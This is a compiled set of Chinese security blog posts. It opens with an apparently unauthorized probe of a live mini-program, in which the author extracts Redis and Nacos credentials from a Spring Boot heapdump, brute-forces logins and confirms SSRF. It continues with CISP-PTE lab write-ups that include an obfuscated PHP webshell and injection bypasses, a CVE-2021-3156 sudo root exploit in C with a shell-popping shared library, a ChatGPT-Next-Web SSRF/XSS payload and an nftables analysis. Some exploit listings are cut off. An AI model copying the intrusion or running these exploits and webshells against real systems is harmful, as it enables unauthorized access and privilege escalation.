记一次特别的未授权访问
某个夜里,随手点进去的一个小程序,引发的连锁反应。
开局一个小程序:
登录方式令人发愁,尝试收集,无果。
数据交互的地方说不定有sql,再次尝试,还是无果。
复制连接去web端,看看有没有什么收获:
好熟悉的界面,这不是SpringBoot框架不,立马工具梭哈。
果然存在springboot未授权访问,网上查找了一些相应的资料,不同的路径泄露不同的信息。
访问/actuator
发现存在heapdump,heapdump是一个二进制文件,里面存储大量敏感信息,立马访问下载,使用工具爬取敏感信息(JDumpSpider-master自动化爬取heapdump工具,特别好用)。
成功找到redis密码,同样还有nacos密码。
Redis连接,无果,但是还有nacos,访问/ actuator/env,寻找地址。
立即访问,还是无果。正当我准备放弃时,又发现一个地址而且是同ip下不同的端口,同样访问。
第一次遇见也不知道是什么,弱口令爆破一波,无果。为什么我这么弱,不甘心,复制粘贴浏览器搜索,还真就给他搜出东西来了。
再次尝试默认密码,无果,我最后的希望ssrf,拿下payload测试。
好像有戏,但是我们登录不进去,看不到是否成功,于是想到了无回显的ssrf的利用,联动dnslog,看看是否有外联日志,说干就干,先到dnslog网址上申请一个ip,将127.0.0.1替换。
来了来了,存在ssrf。(点到为止)
结论:
测试是一个艰辛又漫长的过程,抓住一切的可能才有结果。在任何情况下,未经授权的渗透测试行为都是违法的,可能导致严重的法律后果。因此,在进行任何安全测试之前,请务必与目标单位达成明确的协议和授权。
记一些CISP-PTE题目解析
0x01 命令执行
直接payload: 127.0.0.1 &whoami,发现可以成功执行whoami命令
然后ls ../ ,发现有个key.php文件
尝试用cat命令查看发现不行被拦截了。(其实题目过滤了常用的查看文件的命令)
这里有两种思路,第一种是根据题目意思用命令执行写webshell的方式去进行getshell,第二种方式则是使用linux的命令进行绕过。这里采用第二种方式使用c''at的方式进行绕过。
0x02 基础题目之文件上传突破
可以发现部分上传代码,文件名被命名成一个随机数加上原本的文件名然后md5的值。
直接上传一个带图片头的php木马(会检测是否是图片,所以需要一个GIF89A当图片头),而且过滤了一些敏感函数如eval等。这里直接上传一个免杀的木马即可。
<?php
function go()
{
$func1 = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) .
chr(116);
return $func1;
}
$func1 = go();
$array1 = array($_GET['cmd']);
array_map($func1, $func1 = $array1);
?>
然后接下来就是爆破出shell的地址了,这里我们直接把上传的数据包重放1000次用来提高爆破成功的效率。
用burp的null payload发送1000次
然后设置上传的文件名1.php为前缀,加上随机数的1~99999,最后经过md5加密即可。
设置前缀为1.php (上传的文件名)
然后添加md5
最后就是等待爆破成功。
key在web根目录下的key.php文件
0x03 基础题目之流量分析
下载数据包,使用wireshark发现是http协议居多,首先可以使用wireshark的导出文件查看一下http的访问文件分组。
可以发现攻击者在进行目录爆破。这里可以直接选择
然后根据文件大小排序一下,发现其中有一个压缩包。
但是压缩包设置了密码
然后查找http数据中是否有包含压缩包名字的数据包,其中phpspy.php包含了这个压缩包的名称。
追踪流结果发现Adm1n!是解压密码(%21是url编码)
0x04 代码审计
考点就是让数字绕过is_numerice判断,这里直接使用数字后面跟一个字符串即可绕过。
0x05 基础题目之SQL注入
首先发现题目有一个注册界面,注册账号之后进行登录。
然后再发表文章处发现存在insert注入。
直接抓取数据包使用sqlmap即可
0x06 基础题目之SQL注入
没什么特别的,只是过滤了union关键字这里用双写绕过就可以了, ununionion这样。
然后直接load_file读取文件即可获取key。
0x07 无回显命令执行
很简单,看了一下代码,限制了cmd参数的命令长度而已。可以使用linux的流符号生成一个文件
0x08 二阶SQL注入
二次注入是一种SQL注入攻击的形式,它涉及到用户输入的数据在第一次被存储到数据库中时被错误地处理,导致在后续的查询中,这些原本被转义的数据再次被使用,从而执行恶意命令。
第一步是插入恶意数据:
在第一次插入数据时,开发者可能使用了函数如addslashes过滤了,这时是没有问题的。
比如注册功能:
这里注册一个test'用户 ,由于'被成功转义成了'所以这里是能够正常执行sql语句的。
然后登录test'用户也是没有问题的
但是问题出现再第二次数据库操作中,由于被存入的数据库的用户名是test',那么在第二次系统从数据库中获取用户名的时候如果没有过滤那么就会造成二次注入。
比如更新密码:
系统的语句可能会长这样:
update user set passwd = 'newpasswd' where uname = 'test'' #test'是用户名。那么这种情况就可能导致注入。
那么二次注入怎么利用,这里可以看到需要admin用户登录才能够得到key,那么我们能够用构造一条语重置admin密码就可以了
update user set passwd = 'newpasswd' where uname = 'aaa' or 1 --a'
aaa' or 1 -- a是用户名
用新用户重置admin的密码
再次登录admin
CVE复现之老洞新探(CVE-2021-3156)
环境搭建
直接拉取合适的docker
docker 环境:
https://hub.docker.com/r/chenaotian/cve-2021-3156下载glibc-2.27源码和sudo-1.8.21源码
漏洞分析
/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1; //计算command缓冲区的大小,每个command后面跟一个空格符
if (size == 0 || (user_args = malloc(size)) == NULL) { //分配堆块,存放command
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { // 设置-s参数进入分支
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++; // 跳过反斜杠
*to++ = *from++; // 复制反斜杠后面的字符
} // 漏洞点在于当结尾是\且后面不是空格时,会from++一次,在拷贝完后还会from++,再去判断while的条件,就跳过了0,造成了越界写。
*to++ = ' '; //每个command后面跟一个空格
}
*--to = '\0';
} else {
for (to = user_args, av = NewArgv + 1; *av; av++) {
n = strlcpy(to, *av, size - (to - user_args));
if (n >= size - (to - user_args)) {
sudo_warnx(U_("internal error, %s overflow"), __func__);
debug_return_int(-1);
}
to += n;
*to++ = ' ';
}
*--to = '\0';
}
}
}
结合调试,可以对漏洞的情况有更清楚的了解。参数以反斜杠结尾会导致写入一个零字节而继续赋值下一个参数,在这里有两点:
①以反斜杠结尾可导致溢出
②以反斜杠作为参数可以写入零字节
同时,被溢出的那个堆块的大小等于对应参数长度+1。
漏洞调试
glibc源码
gdb exp
catch exec
b policy_check
b sudoers.c:846
b setlocale
b sudo.c:148
b setlocale.c:369 // strdup
b setlocale.c:398
b nss_load_librarygcc exp.c -o exp2 -lm
漏洞利用
1 利用目标
p ni
可以发现service_user结构体在堆上
堆块大小为0x40
nss_load_library的函数调用流程和相关的数据结构机制
/* Load library. */
static int
' (service_user *ni)
{
if (ni->library == NULL) // ni->library等于0进入分支
{
/* This service has not yet been used. Fetch the service
library for it, creating a new one if need be. If there
is no service table from the file, this static variable
holds the head of the service_library list made from the
default configuration. */
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name); // 新建一个ni->library,并将成员初始化
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL) // ni->library是新建的,lib_handle是0
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision); // shlib_name经过拼接得到 libnss_+ni->name+.so+__nss_shlib_revision
ni->library->lib_handle = __libc_dlopen (shlib_name);// 加载动态库
if (ni->library->lib_handle == NULL)
{
/* Failed to load the library. */
ni->library->lib_handle = (void *) -1l;
__set_errno (saved_errno);
}
通过对nss_load_library源码的分析,发现这里如果能将ni结构体的library覆盖为0,name覆盖成自己的so文件名,具体为libnss_XXX/test.so.2,其中libnss_是拼接的路径,XXX/test是name的值,.so.2是拼接上去的,拼接后libnss_XXX/test.so.2表示当前路径下libnss_XXX文件夹中的test.so.2,我们完成修改后,在当前路径下创建对应的文件夹,将恶意文件放到其中,更名为test.so.2,就能加载执行恶意文件。
2 堆块布局
接下来,就是需要想办法将这个service_user结构体放到存在溢出的堆块下面。
这就来到了第二个问题,setlocale 如何通过环境变量LC_* 进行堆布局。
// locale\setlocale.c
/* Load the new data for each category. */
while (category-- > 0)
if (category != LC_ALL)
{
newdata[category] = _nl_find_locale (locale_path, locale_path_len,
category,
&newnames[category]);//通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中
if (newdata[category] == NULL)
{
#ifdef NL_CURRENT_INDIRECT
if (newnames[category] == _nl_C_name)
/* Null because it's the weak value of _nl_C_LC_FOO. */
continue;
#endif
break;
}
首先是通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中
// locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
int category, const char **name)
{
......
/* LOCALE can consist of up to four recognized parts for the XPG syntax:
language[_territory[.codeset]][@modifier]
Beside the first all of them are allowed to be missing. If the
full specified locale is not found, the less specific one are
looked for. The various part will be stripped off according to
the following order:
(1) codeset
(2) normalized codeset
(3) territory
(4) modifier
*/
//locale的命名规则为<语言>_<地区>.<字符集编码>,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。
// C.UTF-8@AAAAAAAAA
mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
&codeset, &normalized_codeset);
// 判断四个部分那部分有缺失
if (mask == -1)
/* Memory allocate problem. */
return NULL;
/* If exactly this locale was already asked for we have an entry with
the complete name. */
locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
locale_path, locale_path_len, mask,
language, territory, codeset,
normalized_codeset, modifier,
_nl_category_names.str
+ _nl_category_name_idxs[category], 0);
if (locale_file == NULL)
{
/* Find status record for addressed locale file. We have to search
through all directories in the locale path. */
locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
locale_path, locale_path_len, mask,
language, territory, codeset,
normalized_codeset, modifier,
_nl_category_names.str
+ _nl_category_name_idxs[category], 1);
if (locale_file == NULL)
/* This means we are out of core. */
return NULL;
}
结合源码和相关资料,可以知道locale的命名规则为<语言>_<地区>.<字符集编码>,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA
堆申请原语和堆释放原语
// locale\setlocale.c
/* Load the new data for each category. */
while (category-- > 0)
if (category != LC_ALL)
{
newdata[category] = _nl_find_locale (locale_path, locale_path_len,
category,
&newnames[category]);//通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中
if (newdata[category] == NULL)
{
#ifdef NL_CURRENT_INDIRECT
if (newnames[category] == _nl_C_name)
/* Null because it's the weak value of _nl_C_LC_FOO. */
continue;
#endif
break;
}
/* We must not simply free a global locale since we have
no control over the usage. So we mark it as
un-deletable. And yes, the 'if' is needed, the data
might be in read-only memory. */
if (newdata[category]->usage_count != UNDELETABLE)
newdata[category]->usage_count = UNDELETABLE;
/* Make a copy of locale name. */
if (newnames[category] != _nl_C_name)
{
if (strcmp (newnames[category],
_nl_global_locale.__names[category]) == 0)
newnames[category] = _nl_global_locale.__names[category];
else
{
newnames[category] = __strdup (newnames[category]);
//使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去
if (newnames[category] == NULL)
break;
}
}
}
/* Create new composite name. */
composite = (category >= 0
? NULL : new_composite_name (LC_ALL, newnames));
if (composite != NULL)
{
/* Now we have loaded all the new data. Put it in place. */
for (category = 0; category < __LC_LAST; ++category)
if (category != LC_ALL)
{
setdata (category, newdata[category]);
setname (category, newnames[category]);
}
setname (LC_ALL, composite);
/* We successfully loaded a new locale. Let the message catalog
functions know about this. */
++_nl_msg_cat_cntr;
}
else
for (++category; category < __LC_LAST; ++category)
if (category != LC_ALL && newnames[category] != _nl_C_name
&& newnames[category] != _nl_global_locale.__names[category])
free ((char *) newnames[category]);
//这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉
先使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去,其中
char * __strdup(const char *s)
{
size_t len = strlen(s) +1;
void *new = malloc(len);
if (new == NULL)
return NULL;
return (char *)memecpy(new,s,len);
}
然后当遇到不合法的区域的值时,就会将前面申请的堆都free掉。
locale把按照所涉及到的使用习惯的各个方面分成12个大类,这12个大类分别是:
1、语言符号及其分类(LC_CTYPE)
2、数字(LC_NUMERIC)
3、比较和习惯(LC_COLLATE)
4、时间显示格式(LC_TIME)
5、货币单位(LC_MONETARY)
6、信息主要是提示信息,错误信息,状态信息,标题,标签,按钮和菜单等(LC_MESSAGES)
7、姓名书写方式(LC_NAME)
8、地址书写方式(LC_ADDRESS)
9、电话号码书写方式(LC_TELEPHONE)
10、度量衡表达方式 (LC_MEASUREMENT)
11、默认纸张尺寸大小(LC_PAPER)
12、对locale自身包含信息的概述(LC_IDENTIFICATION)。
对应
"LC_CTYPE"
"LC_NUMERIC"
"LC_TIME"
"LC_COLLATE"
"LC_MONETARY",
"LC_MESSAGES"
"LC_ALL"
"LC_PAPER"
"LC_NAME"
"LC_ADDRESS"
"LC_TELEPHONE"
"LC_MEASUREMENT"
"LC_IDENTIFICATION"
其中,处理是从下往上的顺序处理的,所以在传参的时候要注意一下顺序,不然最开始就错误全部释放掉了。
接下里就是想要如何将一个service_user申请到前面我的堆块前面
可以在申请service_user前,先利用堆申请原语和堆释放原语挖好坑。由于知道service_user的chunk大小是0x40,而我们堆溢出的chunk的大小可以自己控制,只要保证大小对应,就可以了。
通过动态调试可以明确__strdup的参数是C.UTF-8@XXXXXX,所以得到的堆块size是参数长度+1,利用下面脚本生成目标size的内容。
length = 0x38
while(length < 0x100):
tail = 'C.UTF-8@'
# length = 0x48
q = "a"*(length-2)+"\\"
p = tail+'a'*(length-1-len(tail))
print(hex(length))
print(q)
print(p)
length += 0x10
经过测试,先按照0x40,0x40,0xa0,0x40的顺序设置4个,再设置一个不合法的,可以在中间一些无法避免的堆块操作后得到一个可利用的堆排布。最后设置一个非法的值。
"LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_NAME=xxxxxxxx"
其中0xa0是为堆溢出的堆块留的坑
/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
在malloc前下断点·
b sudoers.c:849
查看bins,可以看到tcachebins中0xa0正好有一个堆块
然后在nss_load_library下断点,查看service_user
b nss_load_library
p ni
可以看到前面0xa0的堆块在service_user的前面,这样就可以通过溢出覆盖name字段
所以填坑的参数按照前面的分析应该是
"a"*(0x98-1)+"\\"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\"
综合得到如下初步exp
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>
#define __LC_CTYPE 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12
char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
int main()
{
char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
char *env[] = {"XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
execve("/usr/local/bin/sudoedit",argv,env);
}
3 溢出利用
当前exp把XXX/test写到了0x555555623b07
此时的service_user在0x5555556241b0,name的偏移是0x30
start = 0x555555623b07
end = 0x5555556241b0+0x30
n = end-start
print(n)
for i in range(n):
print('"\\\\"',end=',')
前面知道以反斜杠作为单独的参数,能够写入\x00,由于这里需要把library字段覆盖为0,所以通过上述代码生成相应数量的反斜杠,并填在XXX/test前,将XXX/test填入name的同时将library填为0。
共1753个反斜杠
exp
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>
#define __LC_CTYPE 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12
char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
int main()
{
char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
char *env[] = {"\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","
execve("/usr/local/bin/sudoedit",argv,env);
}
覆盖结果如上
拼接完成后会执行
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
if (ni->library->lib_handle == NULL)
{
/* Failed to load the library. */
ni->library->lib_handle = (void *) -1l;
__set_errno (saved_errno);
}
通过__libc_dlopen打开文件
4 提权收工
最后编译后门test.so.2,并放入libnss_XXX文件夹
这里借用https://cloud.tencent.com/developer/article/1826931中的代码
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define EXECVE_SHELL_PATH "/bin/sh"
static void __attribute__ ((constructor)) pop_shell(void);
char *n[] = {NULL};
void pop_shell(void) {
printf("[+] executed!\n");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
if(getuid() == 0) {
puts("[+] we are root!");
} else {
puts("[-] something went wrong!");
exit(0);
}
execve(EXECVE_SHELL_PATH, n, n);
}gcc -fPIC -shared test.c -o libnss_XXX/test.so.2
chmod 777 libnss_XXX/test.so.2
提权效果
总结
这个老洞新探,还是挺有意思的, 从源码分析到动态调试,整个过程对程序调试的能力有很大的锻炼。在这个洞的利用中,思路是比较清晰的,但在堆排布那里,由于中间会有很多其他的堆块操作是我们不可控,就会存在较大困难,要么通过逆向分析梳理所有的堆块操作然后手动构造,要么就是通过fuzz。前者费时费力,而且存在很多问题,后者需要对fuzz进行一定的学习。在盲目手动构造的过程中,好不容易在service_user之前留下了坑,但还是遇到了几种情况,一是在没有加溢出的时候的service_user结构体的地址和加了溢出字符后的不一样,二是在根本走不到nss_load_library就崩溃了,三是修改了最近的一个
总的来说,这个洞还有很多可以学习的地方,后面学学fuzz后再来试试这个洞。
ChatGPT-Next-Web漏洞利用分析(CVE-2023-49785)
1. 漏洞介绍
日常网上冲浪,突然粗看以为是有关Chat-GPT的CVE披露出来了,但是仔细一看原来是ChatGPT-Next-Web的漏洞。漏洞描述大致如下:(如果有自己搭建了还没更新的速速修复升级防止被人利用,2.11.3已经出来了)
NextChat,也称为 ChatGPT-Next-Web,是与 ChatGPT 一起使用的跨平台聊天用户界面。 2.11.2 及之前的版本容易受到服务器端请求伪造和跨站点脚本攻击的影响。2024年3月,互联网上披露CVE-2023-49785,攻击者可在无需登陆的情况下构造恶意请求造成SSRF,造成敏感信息泄漏等。
2. 漏洞分析
定位到漏洞代码:app/api/cors/[...path]/route.ts:
也就是大致如下内容:
import { NextRequest, NextResponse } from "next/server";
async function handle(
req: NextRequest,
{ params }: { params: { path: string[] } },
) {
if (req.method === "OPTIONS") {
return NextResponse.json({ body: "OK" }, { status: 200 });
}
const [protocol, ...subpath] = params.path;
const targetUrl = `${protocol}://${subpath.join("/")}`;
const method = req.headers.get("method") ?? undefined;
const shouldNotHaveBody = ["get", "head"].includes(
method?.toLowerCase() ?? "",
);
const fetchOptions: RequestInit = {
headers: {
authorization: req.headers.get("authorization") ?? "",
},
body: shouldNotHaveBody ? null : req.body,
method,
// @ts-ignore
duplex: "half",
};
const fetchResult = await fetch(targetUrl, fetchOptions);
console.log("[Any Proxy]", targetUrl, {
status: fetchResult.status,
statusText: fetchResult.statusText,
});
return fetchResult;
}
在这段代码中,这里没有做任何的安全防护。params.path 是通过请求参数传入的,这意味着用户可以控制请求的路径部分。这个路径部分会被直接拼接到一个新的 URL 中,并在后续的代码中被用于发起请求,以绕过访问控制、访问内部系统或执行其他攻击。
举个例子,当你访问 /api/cors/https/baidu.com 时,请求将被路由到这段代码中。在这里,protocol 将被设置为 https,subpath 将被设置为 ['baidu.com']。然后,这两部分将被拼接成 https://baidu.com,作为目标 URL。接下来,根据代码的逻辑,将会使用 fetch 发起一个对 https://baidu.com 的请求。这个请求的方法和请求体等信息将根据原始请求中的信息进行配置,然后将响应返回给客户端。
我们验证一下,果然存在。
至于披露着所说的反射型XSS,则完全是因为这里是用的fetch发包,fetch方法也支持 data 协议,且对后续的参数没有过滤限制导致的,所以我们通过参数拼接如下即可实现:
/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydCgiQ1ZFLTIwMjMtNDk3ODUiKTwvc2NyaXB0Pg==%23
3. 总结
没想到一个64.5k star 的项目之前居然对SSRF一点防护都没有做。
/api/cors 端点作为一个开放代理的设计,允许未经身份验证的用户通过它发送任意的 HTTP 请求。这个端点似乎是为了支持将客户端聊天数据保存到 WebDAV 服务器而添加的。
我查看了最新的源代码:
具体的官方修复思路如下:
移除开放代理端点:最终修复方案中,移除了原始的开放代理端点/api/cors。
替换为特定用途的端点:取而代之的是添加了两个新的端点/api/upstash和/api/webdav,这些端点具有特定的用途,分别用于与 Upstash 和 WebDAV 服务进行集成。这种替换的方式限制了端点的功能范围,并提供了更专门化的功能,有助于减少系统的安全风险。
增加安全验证和限制:
/api/upstash
限制目标URL:修复代码首先通过检查请求参数中的endpoint来限制目标URL。它要求目标URL必须是以.upstash.io结尾的有效URL,这样就限制了请求只能发送到特定的Upstash服务。
限制请求方法:修复代码还对请求中的操作类型进行了限制。它只允许get和set两种操作类型的请求,如果请求的操作类型不是这两种之一,则会返回403 Forbidden响应。
/api/webdav
请求方法限制: 修复代码只允许特定的HTTP请求方法,包括MKCOL、GET和PUT。对于其他不允许的请求方法,如POST等,会返回403 Forbidden响应。
目标路径验证: 修复代码对于不同的请求方法,会对目标路径进行不同的验证:
对于MKCOL请求,只允许请求目标路径为指定的folder,如果请求的目标路径不是以指定的folder结尾,则返回403 Forbidden响应。
对于GET请求,只允许请求目标路径为指定的fileName,如果请求的目标路径不是以指定的fileName结尾,则返回403 Forbidden响应。
对于PUT请求,同样只允许请求目标路径为指定的fileName,如果请求的目标路径不是以指定的fileName结尾,则返回403 Forbidden响应。
Nftables漏洞原理分析(CVE-2022-32250)
前言
在nftales中存在着集合(sets),用于存储唯一值的集合。sets 提供了高效地检查一个元素是否存在于集合中的机制,它可以用于各种网络过滤和转发规则。
而CVE-2022-32250漏洞则是由于nftables在处理set时存在uaf的漏洞。
环境搭建
ubuntu20 + QEMU-4.2.1 + Linux-5.15
.config文件
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_USER_NS=y,开启命名空间
开启KASAN:make menuconfig --> Kernel hacking -->Memory Debugging --> KASAN
在ubuntu20直接安装的libnftnl版本太低,因此需要去https://www.netfilter.org/projects/libnftnl/index.html中下载
./configure --prefix=/usr && make
sudo make install
漏洞验证
poc:https://seclists.org/oss-sec/2022/q2/159
在运行poc时,KASAN检测出存在uaf漏洞
漏洞原理
从KASAN给出的信息可知,该漏洞与set有关,因此从set的创建到使用进行源码分析。
在nf_tables_newset内首先需要校验集合名、所属的表、集合键值的长度以及集合的ID是否被设置,若这些条件不具备则直接返回。
File: linux-5.15\net\netfilter\nf_tables_api.c
4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
4206: const struct nlattr * const nla[])
4207: {
...
//判断创建set的必备条件是否具备
4227: if (nla[NFTA_SET_TABLE] == NULL ||
4228: nla[NFTA_SET_NAME] == NULL ||
4229: nla[NFTA_SET_KEY_LEN] == NULL ||
4230: nla[NFTA_SET_ID] == NULL)
4231: return -EINVAL;
...
集合通过kvzalloc函数开辟空间
File: linux-5.15\net\netfilter\nf_tables_api.c
...
4369: set = kvzalloc(alloc_size, GFP_KERNEL);
4370: if (!set)
4371: return -ENOMEM;
...
在成功创建集合后,就会进行初始化的过程,有一个变量需要重点关注,即set->bindings。
File: linux-5.15\net\netfilter\nf_tables_api.c
...
//对集合做初始化
4390: INIT_LIST_HEAD(&set->bindings);
4391: INIT_LIST_HEAD(&set->catchall_list);
4392: set->table = table;
4393: write_pnet(&set->net, net);
4394: set->ops = ops;
4395: set->ktype = ktype;
4396: set->klen = desc.klen;
4397: set->dtype = dtype;
4398: set->objtype = objtype;
4399: set->dlen = desc.dlen;
4400: set->flags = flags;
4401: set->size = desc.size;
4402: set->policy = policy;
4403: set->udlen = udlen;
4404: set->udata = udata;
4405: set->timeout = timeout;
4406: set->gc_int = gc_int;
...
当初始化完毕之后,会去判断创建集合时,该集合是否有需要创建的表达式。
File: linux-5.15\net\netfilter\nf_tables_api.c
...
//判断是否有表达式需要创建
4416: if (nla[NFTA_SET_EXPR]) {
4417: expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表达式的创建
4418: if (IS_ERR(expr)) {
4419: err = PTR_ERR(expr);
4420: goto err_set_expr_alloc;
4421: }
4422: set->exprs[0] = expr;
4423: set->num_exprs++;
...
在代码[1]处会对表达式进行初始化,紧接着在代码[2]处会对表达式的标志位进行校验,当表达式的标志位不具备NFT_EXPR_STATEFUL属性,那么就会跳转到[3]中进行销毁表达式的处理,紧接着返回错误。这里似乎会存在问题,因为代表[1]与[2]是先创建表达式再检验,就会导致任意的表达式被创建。
File: linux-5.15\net\netfilter\nf_tables_api.c
5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
5310: const struct nft_set *set,
5311: const struct nlattr *attr)
5312: {
5313: struct nft_expr *expr;
5314: int err;
5315:
5316: expr = nft_expr_init(ctx, attr); --->[1]
5317: if (IS_ERR(expr))
5318: return expr;
5319:
5320: err = -EOPNOTSUPP;
5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322: goto err_set_elem_expr;
5323:
...
5334: err_set_elem_expr:
5335: nft_expr_destroy(ctx, expr); --->[3]
5336: return ERR_PTR(err);
5337: }
回顾KASAN的报告,发现该漏洞与表达式nft_lookup有关,因此接下来关注一下lookup表达式初始化的过程。
lookup表达式的结构体如下,可以看到在lookup结构体里存在着binding变量,是上面set会初始化的一个变量。
struct nft_lookup {
struct nft_set *set; //集合
u8 sreg; //源寄存器
u8 dreg; //目的寄存器
bool invert;
struct nft_set_binding binding;
};
nft_set_bing结构体实则是维护了一个双链表。
struct nft_set_binding {
struct list_head list;
const struct nft_chain *chain;
u32 flags;
};
nft_lookup_init函数负责初始化lookup表达式,可以看到需要set与源寄存器都存在的情况下才能够完成创建。
File: linux-5.15\net\netfilter\nft_lookup.c
095: static int nft_lookup_init(const struct nft_ctx *ctx,
096: const struct nft_expr *expr,
097: const struct nlattr * const tb[])
098: {
...
//检测set与源寄存器的值
